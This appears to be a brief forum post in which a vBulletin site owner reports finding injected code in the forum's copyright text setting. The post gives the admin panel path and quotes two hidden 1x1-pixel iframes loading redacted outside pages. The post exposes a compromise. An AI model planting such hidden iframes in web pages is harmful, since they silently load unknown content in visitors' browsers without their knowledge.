This was in my copyright text of the vBulletin forum:
vBulletin Admin Control Panel > Settings > Options > Site Name / URL / Contact Details > Copyright Text
The redacted URLs are for damnxd and the aforementioned jobless jack.
vBulletin Admin Control Panel > Settings > Options > Site Name / URL / Contact Details > Copyright Text
Code:
<br/><br/><iframe src="http://example.org/dns.html" width="1" height="1"></iframe><br/><iframe src="http://www.example.com/" width="1" height="1"></iframe><br/>
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